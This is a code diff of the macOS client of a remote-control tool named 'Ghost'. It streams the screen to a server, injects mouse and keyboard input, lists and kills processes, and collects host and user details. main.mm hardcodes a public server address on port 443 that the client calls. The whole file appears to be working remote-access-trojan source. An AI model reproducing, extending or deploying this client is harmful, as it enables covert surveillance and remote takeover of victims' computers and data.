double m_scaleFactor; // Retina scale factor (physical / logical)
CGDirectDisplayID m_displayID;
// Protocol
BITMAPINFOHEADER_MAC m_bmpHeader;
std::vector<uint8_t> m_prevFrame;
std::vector<uint8_t> m_currFrame;
std::vector<uint8_t> m_diffBuffer;
// Quality settings
std::atomic<uint8_t> m_algorithm;
std::atomic<int> m_maxFPS;
int8_t m_qualityLevel;
// H264 encoder
std::unique_ptr<H264Encoder> m_h264Encoder;
int m_h264Bitrate;
// Input handler for mouse/keyboard control
std::unique_ptr<InputHandler> m_inputHandler;
};

691
macos/ScreenHandler.mm Normal file
View File

@@ -0,0 +1,691 @@
#import "ScreenHandler.h"
#import "H264Encoder.h"
#import "InputHandler.h"
#import "../client/IOCPClient.h"
#import "../common/commands.h"
#import "Permissions.h"
#import <Cocoa/Cocoa.h>
#import <CoreGraphics/CoreGraphics.h>
#import <ApplicationServices/ApplicationServices.h>
#import <mach/mach_time.h>
// Global client ID (calculated in main.mm)
extern uint64_t g_myClientID;
ScreenHandler::ScreenHandler(IOCPClient* client)
: m_client(client)
, m_clientID(0)
, m_running(false)
, m_width(0)
, m_height(0)
, m_logicalWidth(0)
, m_logicalHeight(0)
, m_scaleFactor(1.0)
, m_displayID(CGMainDisplayID())
, m_algorithm(ALGORITHM_H264)
, m_maxFPS(15)
, m_qualityLevel(QUALITY_GOOD) // Use fixed QUALITY_GOOD (H264) for web compatibility
, m_h264Bitrate(3000000) // 3 Mbps (matches Windows QUALITY_GOOD)
{
memset(&m_bmpHeader, 0, sizeof(m_bmpHeader));
// Initialize input handler for mouse/keyboard control
m_inputHandler = std::make_unique<InputHandler>();
if (m_inputHandler->init()) {
NSLog(@"InputHandler initialized with accessibility permission");
} else {
NSLog(@"InputHandler: waiting for accessibility permission");
}
}
ScreenHandler::~ScreenHandler()
{
stop();
}
bool ScreenHandler::init()
{
// Check permissions
if (!Permissions::checkScreenCapture()) {
NSLog(@"Screen capture permission not granted");
return false;
}
// Get main display info
m_displayID = CGMainDisplayID();
// Get physical pixel dimensions (what we capture and send)
CGDisplayModeRef mode = CGDisplayCopyDisplayMode(m_displayID);
if (mode) {
m_width = (int)CGDisplayModeGetPixelWidth(mode);
m_height = (int)CGDisplayModeGetPixelHeight(mode);
CGDisplayModeRelease(mode);
} else {
m_width = (int)CGDisplayPixelsWide(m_displayID);
m_height = (int)CGDisplayPixelsHigh(m_displayID);
}
// Get logical point dimensions (what CGEvent uses)
// NSScreen provides logical dimensions
NSScreen* mainScreen = [NSScreen mainScreen];
if (mainScreen) {
NSRect frame = [mainScreen frame];
m_logicalWidth = (int)frame.size.width;
m_logicalHeight = (int)frame.size.height;
} else {
// Fallback: use physical dimensions
m_logicalWidth = m_width;
m_logicalHeight = m_height;
}
// Calculate scale factor (Retina displays have factor > 1.0)
m_scaleFactor = (double)m_width / (double)m_logicalWidth;
NSLog(@"Screen dimensions: physical=%dx%d, logical=%dx%d, scale=%.2f",
m_width, m_height, m_logicalWidth, m_logicalHeight, m_scaleFactor);
if (m_width <= 0 || m_height <= 0) {
NSLog(@"Invalid screen dimensions: %dx%d", m_width, m_height);
return false;
}
// Initialize BITMAPINFOHEADER
m_bmpHeader.biSize = sizeof(BITMAPINFOHEADER_MAC);
m_bmpHeader.biWidth = m_width;
m_bmpHeader.biHeight = m_height;
m_bmpHeader.biPlanes = 1;
m_bmpHeader.biBitCount = 32;
m_bmpHeader.biCompression = 0; // BI_RGB
m_bmpHeader.biSizeImage = m_width * m_height * 4;
// Allocate frame buffers
m_prevFrame.resize(m_bmpHeader.biSizeImage, 0);
m_currFrame.resize(m_bmpHeader.biSizeImage, 0);
m_diffBuffer.resize(1 + 1 + 8 + 1 + m_bmpHeader.biSizeImage * 2);
NSLog(@"ScreenHandler initialized: %dx%d", m_width, m_height);
return true;
}
void ScreenHandler::start(IOCPClient* client, uint64_t clientID)
{
if (m_running) return;
m_client = client;
m_clientID = clientID;
m_running = true;
m_captureThread = std::thread(&ScreenHandler::captureLoop, this);
}
void ScreenHandler::stop()
{
m_running = false;
if (m_captureThread.joinable()) {
m_captureThread.join();
}
// Close H264 encoder if open
if (m_h264Encoder) {
m_h264Encoder->close();
m_h264Encoder.reset();
}
}
void ScreenHandler::sendBitmapInfo()
{
if (!m_client) return;
// Build packet: [TOKEN_BITMAPINFO][BITMAPINFOHEADER][clientID][reserved][ScreenSettings]
// ScreenSettings defined in commands.h (100 bytes), QualityLevel at offset 32
const uint32_t len = 1 + sizeof(BITMAPINFOHEADER_MAC) + 2 * sizeof(uint64_t) + sizeof(ScreenSettings);
std::vector<uint8_t> buf(len, 0);
buf[0] = TOKEN_BITMAPINFO;
memcpy(&buf[1], &m_bmpHeader, sizeof(BITMAPINFOHEADER_MAC));
uint64_t clientID = g_myClientID;
memcpy(&buf[1 + sizeof(BITMAPINFOHEADER_MAC)], &clientID, sizeof(uint64_t));
ScreenSettings settings = {};
settings.MaxFPS = m_maxFPS.load();
settings.QualityLevel = m_qualityLevel; // Fixed quality level (e.g., QUALITY_GOOD = 2)
memcpy(&buf[1 + sizeof(BITMAPINFOHEADER_MAC) + 2 * sizeof(uint64_t)], &settings, sizeof(ScreenSettings));
m_client->Send2Server((char*)buf.data(), len);
NSLog(@"SendBitmapInfo: clientID=%llu, QualityLevel=%d, SettingsSize=%zu",
clientID, m_qualityLevel, sizeof(ScreenSettings));
}
void ScreenHandler::OnReceive(uint8_t* data, ULONG size)
{
if (!size) return;
switch (data[0]) {
case COMMAND_NEXT:
// Server ready, handled externally
NSLog(@"Received COMMAND_NEXT from server");
if (!m_running) {
start(m_client, g_myClientID);
}
break;
case COMMAND_SCREEN_CONTROL:
// Handle mouse/keyboard control commands
// Protocol: [COMMAND_SCREEN_CONTROL:1][MSG64:48]
if (size >= 1 + sizeof(MSG64_MAC) && m_inputHandler) {
MSG64_MAC msg;
memcpy(&msg, data + 1, sizeof(MSG64_MAC));
// Convert physical pixel coordinates to logical point coordinates
// Server sends coordinates in physical pixels (matching our captured screen)
// CGEvent expects logical points (for Retina displays, physical/scale)
if (m_scaleFactor > 1.0) {
// Extract coordinates from lParam (MAKELPARAM format: low=x, high=y)
int x = (int)(msg.lParam & 0xFFFF);
int y = (int)((msg.lParam >> 16) & 0xFFFF);
// Scale down to logical coordinates
x = (int)(x / m_scaleFactor);
y = (int)(y / m_scaleFactor);
// Update lParam with scaled coordinates
msg.lParam = (uint64_t)x | ((uint64_t)y << 16);
msg.pt_x = x;
msg.pt_y = y;
}
m_inputHandler->handleInputEvent(&msg);
}
break;
case CMD_QUALITY_LEVEL:
if (size >= 2) {
int8_t level = (int8_t)data[1];
bool persist = (size >= 3) ? data[2] : false;
applyQualityLevel(level, persist);
}
break;
default:
break;
}
}
void ScreenHandler::applyQualityLevel(int8_t level, bool persist)
{
m_qualityLevel = level;
if (level == QUALITY_DISABLED) {
NSLog(@"Quality: Disabled");
return;
}
// Quality profiles: [FPS, Algorithm]
// H264 provides best compression for remote desktop
// Note: macOS uses slightly higher FPS than Windows for smoother experience
static const int profiles[QUALITY_COUNT][2] = {
{5, ALGORITHM_GRAY}, // Level 0: Emergency (very low bandwidth)
{10, ALGORITHM_RGB565}, // Level 1: Low
{15, ALGORITHM_H264}, // Level 2: Medium (office work default)
{20, ALGORITHM_H264}, // Level 3: Good
{25, ALGORITHM_H264}, // Level 4: High
{30, ALGORITHM_H264}, // Level 5: Smooth
};
if (level >= 0 && level < QUALITY_COUNT) {
m_maxFPS.store(profiles[level][0]);
m_algorithm.store(profiles[level][1]);
NSLog(@"Quality: Level=%d, FPS=%d, Algo=%d", level, profiles[level][0], profiles[level][1]);
} else {
NSLog(@"Quality: Adaptive mode");
}
}
bool ScreenHandler::captureScreen(std::vector<uint8_t>& buffer)
{
// Create image from display
CGImageRef image = CGDisplayCreateImage(m_displayID);
if (!image) {
NSLog(@"Failed to capture screen image");
return false;
}
size_t width = CGImageGetWidth(image);
size_t height = CGImageGetHeight(image);
if (width != (size_t)m_width || height != (size_t)m_height) {
// Screen resolution changed, need to reinitialize
CGImageRelease(image);
NSLog(@"Screen resolution changed: %zux%zu", width, height);
return false;
}
// Create bitmap context to get raw pixel data
CGColorSpaceRef colorSpace = CGColorSpaceCreateDeviceRGB();
size_t bytesPerRow = width * 4;
// Temporary buffer for top-down BGRA
std::vector<uint8_t> tempBuffer(bytesPerRow * height);
CGContextRef context = CGBitmapContextCreate(
tempBuffer.data(),
width,
height,
8,
bytesPerRow,
colorSpace,
kCGImageAlphaPremultipliedFirst | kCGBitmapByteOrder32Little // BGRA
);
CGColorSpaceRelease(colorSpace);
if (!context) {
CGImageRelease(image);
NSLog(@"Failed to create bitmap context");
return false;
}
// Draw image into context
CGContextDrawImage(context, CGRectMake(0, 0, width, height), image);
CGContextRelease(context);
CGImageRelease(image);
// Flip vertically (BMP is bottom-up, CGImage is top-down)
for (size_t y = 0; y < height; y++) {
size_t srcRow = y;
size_t dstRow = height - 1 - y;
memcpy(buffer.data() + dstRow * bytesPerRow,
tempBuffer.data() + srcRow * bytesPerRow,
bytesPerRow);
}
return true;
}
void ScreenHandler::sendFirstScreen()
{
if (!captureScreen(m_currFrame)) return;
if (!m_client) return;
uint32_t imgSize = m_bmpHeader.biSizeImage;
std::vector<uint8_t> buf(1 + imgSize);
buf[0] = TOKEN_FIRSTSCREEN;
memcpy(&buf[1], m_currFrame.data(), imgSize);
m_client->Send2Server((char*)buf.data(), buf.size());
// Save as previous frame
m_prevFrame = m_currFrame;
}
void ScreenHandler::sendDiffFrame()
{
if (!captureScreen(m_currFrame)) return;
if (!m_client) return;
uint8_t* out = m_diffBuffer.data();
out[0] = TOKEN_NEXTSCREEN;
uint8_t* data = out + 1;
// Write algorithm type
uint8_t algo = m_algorithm.load();
memcpy(data, &algo, sizeof(uint8_t));
// Write cursor position
int32_t cursorX, cursorY;
getCursorPosition(cursorX, cursorY);
memcpy(data + 1, &cursorX, sizeof(int32_t));
memcpy(data + 1 + sizeof(int32_t), &cursorY, sizeof(int32_t));
// Write cursor type
uint8_t cursorType = getCursorTypeIndex();
memcpy(data + 1 + 2 * sizeof(int32_t), &cursorType, sizeof(uint8_t));
uint32_t headerSize = 1 + 2 * sizeof(int32_t) + 1;
uint8_t* diffData = data + headerSize;
uint32_t diffLen = compareBitmap(m_currFrame.data(), m_prevFrame.data(),
diffData, m_bmpHeader.biSizeImage, algo);
uint32_t totalLen = 1 + headerSize + diffLen;
m_client->Send2Server((char*)out, totalLen);
// Update previous frame
std::swap(m_prevFrame, m_currFrame);
}
void ScreenHandler::sendH264Frame(bool keyframe)
{
if (!captureScreen(m_currFrame)) return;
if (!m_client) return;
// Initialize encoder if needed
if (!m_h264Encoder) {
m_h264Encoder = std::make_unique<H264Encoder>();
int fps = m_maxFPS.load();
if (fps <= 0) fps = 30;
if (!m_h264Encoder->open(m_width, m_height, fps, m_h264Bitrate)) {
NSLog(@"Failed to initialize H264 encoder: %s", m_h264Encoder->getLastError());
m_h264Encoder.reset();
return;
}
NSLog(@"H264 encoder initialized: %dx%d @ %d fps", m_width, m_height, fps);
}
// Force keyframe if requested
if (keyframe) {
m_h264Encoder->forceKeyframe();
}
// Encode frame
uint8_t* encodedData = nullptr;
uint32_t encodedSize = 0;
uint32_t stride = m_width * 4;
int result = m_h264Encoder->encode(
m_currFrame.data(),
32, // bpp
stride,
m_width,
m_height,
&encodedData,
&encodedSize,
false // Don't flip - keep bottom-up format like Windows client
);
if (result <= 0 || !encodedData || encodedSize == 0) {
return;
}
// Build packet: [TOKEN_NEXTSCREEN][ALGORITHM_H264][CursorX][CursorY][CursorType][H264Data]
// Note: H264 always uses TOKEN_NEXTSCREEN because:
// - Server's TOKEN_KEYFRAME handler does nothing for H264 (just break)
// - Server's TOKEN_NEXTSCREEN handler calls Decode() for H264
// - H264 encoder manages keyframes (I-frames) internally
// - FFmpeg decoder auto-detects I-frames vs P-frames
uint32_t headerSize = 1 + 1 + 2 * sizeof(int32_t) + 1;
std::vector<uint8_t> packet(headerSize + encodedSize);
packet[0] = TOKEN_NEXTSCREEN;
packet[1] = ALGORITHM_H264;
// Cursor position
int32_t cursorX, cursorY;
getCursorPosition(cursorX, cursorY);
memcpy(&packet[2], &cursorX, sizeof(int32_t));
memcpy(&packet[2 + sizeof(int32_t)], &cursorY, sizeof(int32_t));
// Cursor type
packet[2 + 2 * sizeof(int32_t)] = getCursorTypeIndex();
// H264 data
memcpy(&packet[headerSize], encodedData, encodedSize);
m_client->Send2Server((char*)packet.data(), packet.size());
}
uint32_t ScreenHandler::compareBitmap(const uint8_t* curr, const uint8_t* prev,
uint8_t* outBuf, uint32_t totalBytes, uint8_t algo)
{
const uint32_t bytesPerPixel = 4;
const uint32_t totalPixels = totalBytes / bytesPerPixel;
const uint32_t gapThreshold = 8;
const uint32_t ratio = (algo == ALGORITHM_GRAY || algo == ALGORITHM_RGB565) ? 4 : 1;
uint32_t outOffset = 0;
uint32_t i = 0;
while (i < totalPixels) {
// Skip identical pixels
while (i < totalPixels &&
*(uint32_t*)(curr + i * 4) == *(uint32_t*)(prev + i * 4)) {
i++;
}
if (i >= totalPixels) break;
uint32_t start = i;
uint32_t lastDiff = i;
while (i < totalPixels) {
if (*(uint32_t*)(curr + i * 4) != *(uint32_t*)(prev + i * 4)) {
lastDiff = i;
} else if (i - lastDiff > gapThreshold) {
break;
}
i++;
}
uint32_t end = lastDiff + 1;
uint32_t count = end - start;
uint32_t byteOffset = start * bytesPerPixel;
uint32_t byteCount = count * bytesPerPixel;
// Write byteOffset
memcpy(outBuf + outOffset, &byteOffset, sizeof(uint32_t));
outOffset += sizeof(uint32_t);
// Write length
uint32_t lengthField = byteCount / ratio;
memcpy(outBuf + outOffset, &lengthField, sizeof(uint32_t));
outOffset += sizeof(uint32_t);
// Write pixel data
const uint8_t* srcData = curr + byteOffset;
if (algo == ALGORITHM_RGB565) {
convertBGRAtoRGB565(srcData, (uint16_t*)(outBuf + outOffset), count);
outOffset += count * 2;
} else if (algo == ALGORITHM_GRAY) {
convertBGRAtoGray(srcData, outBuf + outOffset, count);
outOffset += count;
} else {
memcpy(outBuf + outOffset, srcData, byteCount);
outOffset += byteCount;
}
}
return outOffset;
}
void ScreenHandler::convertBGRAtoGray(const uint8_t* src, uint8_t* dst, uint32_t pixelCount)
{
for (uint32_t i = 0; i < pixelCount; i++) {
uint8_t b = src[i * 4 + 0];
uint8_t g = src[i * 4 + 1];
uint8_t r = src[i * 4 + 2];
dst[i] = (uint8_t)((306 * r + 601 * g + 117 * b) >> 10);
}
}
void ScreenHandler::convertBGRAtoRGB565(const uint8_t* src, uint16_t* dst, uint32_t pixelCount)
{
for (uint32_t i = 0; i < pixelCount; i++) {
uint8_t b = src[i * 4 + 0];
uint8_t g = src[i * 4 + 1];
uint8_t r = src[i * 4 + 2];
uint16_t r5 = (r >> 3) & 0x1F;
uint16_t g6 = (g >> 2) & 0x3F;
uint16_t b5 = (b >> 3) & 0x1F;
dst[i] = (r5 << 11) | (g6 << 5) | b5;
}
}
uint64_t ScreenHandler::getTickMs()
{
static mach_timebase_info_data_t timebase = {0, 0};
if (timebase.denom == 0) {
mach_timebase_info(&timebase);
}
uint64_t now = mach_absolute_time();
return (now * timebase.numer / timebase.denom) / 1000000;
}
// Cached logical cursor position (shared between getCursorPosition and getCursorTypeIndex)
static CGPoint s_cachedLogicalPos = {0, 0};
void ScreenHandler::getCursorPosition(int32_t& x, int32_t& y)
{
// Get cursor position in logical (point) coordinates
CGEventRef event = CGEventCreate(nullptr);
s_cachedLogicalPos = CGEventGetLocation(event);
CFRelease(event);
// Convert to physical pixel coordinates (for Retina displays)
x = (int32_t)(s_cachedLogicalPos.x * m_scaleFactor);
y = (int32_t)(s_cachedLogicalPos.y * m_scaleFactor);
// Clamp to screen bounds
if (x < 0) x = 0;
if (y < 0) y = 0;
if (x >= m_width) x = m_width - 1;
if (y >= m_height) y = m_height - 1;
}
uint8_t ScreenHandler::getCursorTypeIndex()
{
// Windows cursor type indices (from CursorInfo.h):
// 0: IDC_APPSTARTING, 1: IDC_ARROW, 2: IDC_CROSS, 3: IDC_HAND,
// 4: IDC_HELP, 5: IDC_IBEAM, 6: IDC_ICON, 7: IDC_NO,
// 8: IDC_SIZE, 9: IDC_SIZEALL, 10: IDC_SIZENESW, 11: IDC_SIZENS,
// 12: IDC_SIZENWSE, 13: IDC_SIZEWE, 14: IDC_UPARROW, 15: IDC_WAIT
// NSCursor.currentSystemCursor doesn't work for background daemons.
// Use Accessibility API to infer cursor type from the UI element under cursor.
// Throttle to avoid performance impact (check every 100ms)
static uint8_t cachedIndex = 1;
static uint64_t lastCheckTime = 0;
static CGPoint lastPos = {-1, -1};
// Reuse cursor position from getCursorPosition (called before this)
CGPoint pos = s_cachedLogicalPos;
// Throttle: only check if cursor moved significantly or 100ms elapsed
uint64_t now = getTickMs();
bool posChanged = (fabs(pos.x - lastPos.x) > 5 || fabs(pos.y - lastPos.y) > 5);
if (!posChanged && (now - lastCheckTime) < 100) {
return cachedIndex;
}
lastCheckTime = now;
lastPos = pos;
uint8_t index = 1; // Default to arrow
// Get the UI element at cursor position using Accessibility API
AXUIElementRef systemWide = AXUIElementCreateSystemWide();
AXUIElementRef element = nullptr;
AXError err = AXUIElementCopyElementAtPosition(systemWide, (float)pos.x, (float)pos.y, &element);
CFRelease(systemWide);
if (err == kAXErrorSuccess && element) {
// Get the role of the element
CFTypeRef roleRef = nullptr;
if (AXUIElementCopyAttributeValue(element, kAXRoleAttribute, &roleRef) == kAXErrorSuccess && roleRef) {
NSString* role = (__bridge NSString*)roleRef;
// Map UI element roles to cursor types
if ([role isEqualToString:NSAccessibilityTextFieldRole] ||
[role isEqualToString:NSAccessibilityTextAreaRole] ||
[role isEqualToString:NSAccessibilityStaticTextRole] ||
[role isEqualToString:@"AXWebArea"]) {
// Check if text is editable
CFTypeRef editableRef = nullptr;
if (AXUIElementCopyAttributeValue(element, CFSTR("AXEditable"), &editableRef) == kAXErrorSuccess) {
if (editableRef && CFBooleanGetValue((CFBooleanRef)editableRef)) {
index = 5; // IDC_IBEAM for editable text
}
if (editableRef) CFRelease(editableRef);
} else if ([role isEqualToString:NSAccessibilityTextFieldRole] ||
[role isEqualToString:NSAccessibilityTextAreaRole]) {
index = 5; // IDC_IBEAM for text input fields
}
} else if ([role isEqualToString:NSAccessibilityLinkRole] ||
[role isEqualToString:@"AXLink"]) {
index = 3; // IDC_HAND for links
} else if ([role isEqualToString:NSAccessibilityButtonRole]) {
index = 3; // IDC_HAND for buttons (clickable)
} else if ([role isEqualToString:NSAccessibilitySplitterRole] ||
[role isEqualToString:@"AXSplitGroup"]) {
// Check orientation for resize cursor
CFTypeRef orientRef = nullptr;
if (AXUIElementCopyAttributeValue(element, CFSTR("AXOrientation"), &orientRef) == kAXErrorSuccess && orientRef) {
NSString* orient = (__bridge NSString*)orientRef;
if ([orient isEqualToString:@"AXHorizontalOrientation"]) {
index = 11; // IDC_SIZENS (vertical resize)
} else {
index = 13; // IDC_SIZEWE (horizontal resize)
}
CFRelease(orientRef);
} else {
index = 13; // IDC_SIZEWE default for splitters
}
} else if ([role isEqualToString:NSAccessibilityGrowAreaRole]) {
index = 12; // IDC_SIZENWSE for resize corners
}
CFRelease(roleRef);
}
CFRelease(element);
}
// Cache the result
cachedIndex = index;
return index;
}
void ScreenHandler::captureLoop()
{
NSLog(@"ScreenHandler CaptureLoop started (%dx%d)", m_width, m_height);
uint8_t currentAlgo = m_algorithm.load();
// Always send raw first frame (TOKEN_FIRSTSCREEN) to initialize server display
// This matches Windows client behavior: first frame is always raw bitmap,
// even in H264 mode. Server needs TOKEN_FIRSTSCREEN to set m_bIsFirst = FALSE.
sendFirstScreen();
// Small delay to ensure first frame is processed before H264 stream starts
usleep(50000); // 50ms, same as Windows client
while (m_running) {
uint64_t start = getTickMs();
uint8_t algo = m_algorithm.load();
// Check if algorithm changed
if (algo != currentAlgo) {
NSLog(@"Algorithm changed: %d -> %d", currentAlgo, algo);
currentAlgo = algo;
// If switching to/from H264, reset encoder
if (algo == ALGORITHM_H264) {
// Starting H264 - will be initialized in sendH264Frame
sendH264Frame(true); // First H264 frame is keyframe
} else if (m_h264Encoder) {
// Switching away from H264 - close encoder
m_h264Encoder->close();
m_h264Encoder.reset();
sendFirstScreen(); // Send full frame for DIFF modes
}
} else {
// Normal frame
if (algo == ALGORITHM_H264) {
sendH264Frame(false);
} else {
sendDiffFrame();
}
}
int fps = m_maxFPS.load();
if (fps <= 0) fps = 10;
int sleepMs = 1000 / fps;
int elapsed = (int)(getTickMs() - start);
int wait = sleepMs - elapsed;
if (wait > 0) {
usleep(wait * 1000);
}
}
NSLog(@"ScreenHandler CaptureLoop stopped");
}

40
macos/SystemManager.h Normal file
View File

@@ -0,0 +1,40 @@
#pragma once
#include <cstdint>
#include <vector>
#include <string>
// Forward declaration
class IOCPClient;
class SystemManager {
public:
SystemManager(IOCPClient* client, uint64_t clientID);
~SystemManager();
// Handle commands from server
void onReceive(const uint8_t* data, size_t size);
private:
// Send process list to server
void sendProcessList();
// Kill processes by PID
void killProcesses(const uint8_t* data, size_t size);
// Send window list (limited on macOS without accessibility)
void sendWindowsList();
// Get process name by PID
static std::string getProcessName(pid_t pid);
// Get process executable path by PID
static std::string getProcessPath(pid_t pid);
// Get all running PIDs
static std::vector<pid_t> getAllPids();
private:
IOCPClient* m_client;
uint64_t m_clientID;
};

201
macos/SystemManager.mm Normal file
View File

@@ -0,0 +1,201 @@
#import "SystemManager.h"
#import "../client/IOCPClient.h"
#import <Cocoa/Cocoa.h>
#import <sys/sysctl.h>
#import <libproc.h>
#import <signal.h>
#import <unistd.h>
SystemManager::SystemManager(IOCPClient* client, uint64_t clientID)
: m_client(client)
, m_clientID(clientID)
{
// Send initial process list on connection
sendProcessList();
}
SystemManager::~SystemManager()
{
}
void SystemManager::onReceive(const uint8_t* data, size_t size)
{
if (!data || size == 0) return;
switch (data[0]) {
case COMMAND_PSLIST:
sendProcessList();
break;
case COMMAND_KILLPROCESS:
if (size > 1) {
killProcesses(data + 1, size - 1);
// Refresh list after kill
usleep(100000); // 100ms wait
sendProcessList();
}
break;
case COMMAND_WSLIST:
sendWindowsList();
break;
default:
NSLog(@"SystemManager: Unknown command: %d", (int)data[0]);
break;
}
}
std::vector<pid_t> SystemManager::getAllPids()
{
std::vector<pid_t> pids;
// Get number of processes
int count = proc_listpids(PROC_ALL_PIDS, 0, NULL, 0);
if (count <= 0) return pids;
// Allocate buffer for PIDs
std::vector<pid_t> buffer(count * 2); // Extra space for new processes
count = proc_listpids(PROC_ALL_PIDS, 0, buffer.data(), (int)(buffer.size() * sizeof(pid_t)));
if (count <= 0) return pids;
int numPids = count / sizeof(pid_t);
for (int i = 0; i < numPids; i++) {
if (buffer[i] > 0) {
pids.push_back(buffer[i]);
}
}
return pids;
}
std::string SystemManager::getProcessName(pid_t pid)
{
char name[PROC_PIDPATHINFO_MAXSIZE];
memset(name, 0, sizeof(name));
struct proc_bsdinfo info;
if (proc_pidinfo(pid, PROC_PIDTBSDINFO, 0, &info, sizeof(info)) > 0) {
return std::string(info.pbi_name);
}
return "";
}
std::string SystemManager::getProcessPath(pid_t pid)
{
char path[PROC_PIDPATHINFO_MAXSIZE];
memset(path, 0, sizeof(path));
if (proc_pidpath(pid, path, sizeof(path)) > 0) {
return std::string(path);
}
return "";
}
void SystemManager::sendProcessList()
{
if (!m_client) return;
std::vector<uint8_t> buf;
buf.reserve(64 * 1024);
// Token header
buf.push_back(TOKEN_PSLIST);
// Architecture string
#if defined(__arm64__) || defined(__aarch64__)
const char* arch = "arm64";
#else
const char* arch = "x64";
#endif
std::vector<pid_t> pids = getAllPids();
for (pid_t pid : pids) {
if (pid <= 0) continue;
std::string name = getProcessName(pid);
if (name.empty()) continue;
std::string path = getProcessPath(pid);
if (path.empty()) {
path = "[" + name + "]";
}
// Format: "processname:arch"
std::string exeFile = name + ":" + arch;
// Write PID (4 bytes, DWORD)
uint32_t dwPid = (uint32_t)pid;
const uint8_t* p = (const uint8_t*)&dwPid;
buf.insert(buf.end(), p, p + sizeof(uint32_t));
// Write exeFile (null-terminated)
buf.insert(buf.end(), exeFile.begin(), exeFile.end());
buf.push_back(0);
// Write fullPath (null-terminated)
buf.insert(buf.end(), path.begin(), path.end());
buf.push_back(0);
}
m_client->Send2Server((char*)buf.data(), buf.size());
NSLog(@"SystemManager SendProcessList: %zu bytes, %zu processes",
buf.size(), pids.size());
}
void SystemManager::killProcesses(const uint8_t* data, size_t size)
{
// Each PID is 4 bytes (DWORD)
for (size_t i = 0; i + sizeof(uint32_t) <= size; i += sizeof(uint32_t)) {
uint32_t dwPid = *(uint32_t*)(data + i);
pid_t pid = (pid_t)dwPid;
// Don't allow killing kernel/launchd
if (pid <= 1) continue;
// Don't allow killing ourselves
if (pid == getpid()) continue;
int ret = kill(pid, SIGKILL);
NSLog(@"SystemManager kill(%d, SIGKILL) = %d", (int)pid, ret);
}
}
void SystemManager::sendWindowsList()
{
if (!m_client) return;
std::vector<uint8_t> buf;
buf.push_back(TOKEN_WSLIST);
// Get list of running applications
NSArray<NSRunningApplication*>* apps = [[NSWorkspace sharedWorkspace] runningApplications];
for (NSRunningApplication* app in apps) {
// Only include apps with windows
if (app.activationPolicy != NSApplicationActivationPolicyRegular) {
continue;
}
NSString* name = app.localizedName;
if (!name) continue;
pid_t pid = app.processIdentifier;
// Write window handle (use PID as pseudo-handle)
uint64_t hwnd = (uint64_t)pid;
const uint8_t* p = (const uint8_t*)&hwnd;
buf.insert(buf.end(), p, p + sizeof(uint64_t));
// Write window title (null-terminated)
const char* utf8Name = [name UTF8String];
buf.insert(buf.end(), utf8Name, utf8Name + strlen(utf8Name));
buf.push_back(0);
}
m_client->Send2Server((char*)buf.data(), buf.size());
NSLog(@"SystemManager SendWindowsList: %zu bytes", buf.size());
}

47
macos/build.sh Normal file
View File

@@ -0,0 +1,47 @@
#!/bin/bash
# macOS Ghost Client Build Script
# Usage: ./build.sh
set -e
echo "=== macOS Ghost Client Build ==="
echo ""
# Check for Xcode Command Line Tools
if ! command -v clang &> /dev/null; then
echo "Error: Xcode Command Line Tools not installed"
echo "Run: xcode-select --install"
exit 1
fi
# Check for CMake
if ! command -v cmake &> /dev/null; then
echo "Error: CMake not installed"
echo "Install with: brew install cmake"
exit 1
fi
# Create build directory
mkdir -p build
cd build
# Configure
echo "Configuring..."
cmake .. -DCMAKE_BUILD_TYPE=Release
# Build
echo ""
echo "Building..."
cmake --build . --config Release -j$(sysctl -n hw.ncpu)
# Done
echo ""
echo "=== Build Complete ==="
echo "Executable: build/bin/ghost"
echo ""
echo "To run:"
echo " ./bin/ghost [server_ip] [port]"
echo ""
echo "Example:"
echo " ./bin/ghost 192.168.0.55 6543"

BIN
macos/lib/libzstd.a Normal file

Binary file not shown.

555
macos/main.mm Normal file
View File

@@ -0,0 +1,555 @@
#import <Cocoa/Cocoa.h>
#import <sys/sysctl.h>
#import <mach/mach.h>
#import <mach-o/dyld.h>
#import <pwd.h>
#import <signal.h>
#import <unistd.h>
#import <IOKit/IOKitLib.h>
#import <fstream>
#import <thread>
#import <atomic>
#import <memory>
#import <string>
#import "../client/IOCPClient.h"
#define XXH_INLINE_ALL
#include "../common/xxhash.h"
#import "Permissions.h"
#import "ScreenHandler.h"
#import "InputHandler.h"
#import "SystemManager.h"
// Global state
static std::atomic<bool> g_running(true);
// Client ID (calculated from system info, used by ScreenHandler)
uint64_t g_myClientID = 0;
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };
State g_bExit = S_CLIENT_NORMAL;
// ============== System Information Functions ==============
// Get macOS version string (e.g., "macOS 14.0 Sonoma")
static std::string getMacOSVersion()
{
NSOperatingSystemVersion version = [[NSProcessInfo processInfo] operatingSystemVersion];
NSString* versionString = [NSString stringWithFormat:@"macOS %ld.%ld.%ld",
(long)version.majorVersion,
(long)version.minorVersion,
(long)version.patchVersion];
return std::string([versionString UTF8String]);
}
// Get hostname
static std::string getHostname()
{
char hostname[256] = {};
gethostname(hostname, sizeof(hostname));
return std::string(hostname);
}
// Get CPU model and frequency
static std::string getCPUInfo()
{
char buf[256] = {};
size_t size = sizeof(buf);
if (sysctlbyname("machdep.cpu.brand_string", buf, &size, NULL, 0) == 0) {
return std::string(buf);
}
return "Unknown CPU";
}
// Get CPU frequency in MHz
static int getCPUFrequencyMHz()
{
uint64_t freq = 0;
size_t size = sizeof(freq);
if (sysctlbyname("hw.cpufrequency_max", &freq, &size, NULL, 0) == 0) {
return (int)(freq / 1000000);
}
return 0;
}
// Get number of CPU cores
static int getCPUCores()
{
int cores = 0;
size_t size = sizeof(cores);
if (sysctlbyname("hw.ncpu", &cores, &size, NULL, 0) == 0) {
return cores;
}
return 1;
}
// Get total physical memory in GB
static double getMemoryGB()
{
int64_t memSize = 0;
size_t size = sizeof(memSize);
if (sysctlbyname("hw.memsize", &memSize, &size, NULL, 0) == 0) {
return (double)memSize / (1024.0 * 1024.0 * 1024.0);
}
return 0;
}
// Get current username
static std::string getUsername()
{
struct passwd* pw = getpwuid(getuid());
if (pw && pw->pw_name) {
return std::string(pw->pw_name);
}
const char* user = getenv("USER");
return user ? std::string(user) : "unknown";
}
// Get screen resolution
static std::string getScreenResolution()
{
NSScreen* mainScreen = [NSScreen mainScreen];
if (mainScreen) {
NSRect frame = [mainScreen frame];
return [NSString stringWithFormat:@"1:%dx%d",
(int)frame.size.width, (int)frame.size.height].UTF8String;
}
return "0:0x0";
}
// Get executable path
static std::string getExecutablePath()
{
char path[PATH_MAX];
uint32_t size = sizeof(path);
